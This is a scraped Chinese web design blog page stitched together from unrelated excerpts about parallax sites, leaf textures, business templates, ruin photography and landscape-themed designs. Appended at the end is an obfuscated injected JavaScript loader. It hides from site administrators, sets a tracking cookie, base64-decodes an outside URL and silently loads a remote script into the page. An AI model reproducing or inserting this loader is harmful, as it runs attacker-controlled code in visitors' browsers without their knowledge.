14个令人印象深刻的视差滚动网站展示

视差效果javascript首次采用,作为简单的mousemove,影响多个透明png背景图像彼此堆叠,并在鼠标移动时,它会将每个图层在不同的速度间隔,从而创造景深和独特的动画效果。如今,有一个巨大的突破和创新的利用视差效应。它使用滚动条,当用户滚动页面,一旦达到一定的部分,它将引发一系列的动画效果。

这里我们收集了14个很棒的示例,我们敢肯定它们流畅的动画效果、创造力以及背后的概念一定会让人感到惊讶。

如果您想知道其背后的概念,并决定为自己构建一个,这里给大家提供以下链接:

耐克更美好的世界的幕后

 

一个页面的网站

 

OK-Studios

40免费高分辨率的叶子纹理

如果你手头上有跟自然相关的设计,库存叶纹理是可以派上用场的。绿色是完美创建平静与放松的效果,它可以使访问者舒适的体验你的网站。

适当地使用这些高分辨率纹理可以使您的作品或网页设计看起来更为自然和逼真。

虽然大多数纹理收集的都是绿色,黄色,红色,橙色,紫色等,这些可以为您的设计指示季节或添加颜色的叶子。然而灰、黑、白色的纹理也同样可以带来一些新的,不同寻常的东西。

希望此处收集到的这40个免费高分辨率叶子纹理能为您的设计带来新的、令人惊异的效果。

Pear Leaves

10个精致的企业网站设计模板欣赏及点评

以下的10个网页设计作品是ThemeForest上最受欢迎的优秀企业网站设计模板的其中一小部分。它们风格低调沉稳,几乎只使用黑白灰三种色彩,却不雷同,并且在细节上都非常讲究。ThemeForest是非常值得网页设计师关注的高品质网站,其上的几乎每一个设计模板都称得上是杰出的设计作品,值得我们认真揣摩学习。这篇文章里我将根据自己的观点对这10个设计模板的设计思路和方法做一总结,列出其中的要点,挖掘值得我们在网页设计中值得借鉴的东西,希望能够对大家有所帮助。

一、设计的目的是为了信息更好的传播

美丽的城市衰落和破坏摄影集合

有一个我们不得不承认的事实,那就是很多创作者的灵感有时候是在一堆废墟中唤醒的。这也是为什么有那么多的摄影师喜欢去参加城市探索的原因。从这些破坏的年代、性质和战争的毁灭性中,摄影师发现了一些最吸引人的感性课题。

以下是我们收集到一些的令人叹为观止的城市衰变和毁灭的摄影集合。这些才华横溢的摄影师们绞尽脑汁,终于创作出来这些令人惊叹的作品。

Piano Blues by Matthias Hacker

20例以景观为主题的网页设计

尽管互联网有一定的局限性,但还是有一些网页设计师通过他们的设计,反射出了对于浩大的户外自然的敬畏。我们这篇文章展示了20个以景观为主题的特色网页设计,与大家分享。
necklace Mafe Rojas

Dave Gamache

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();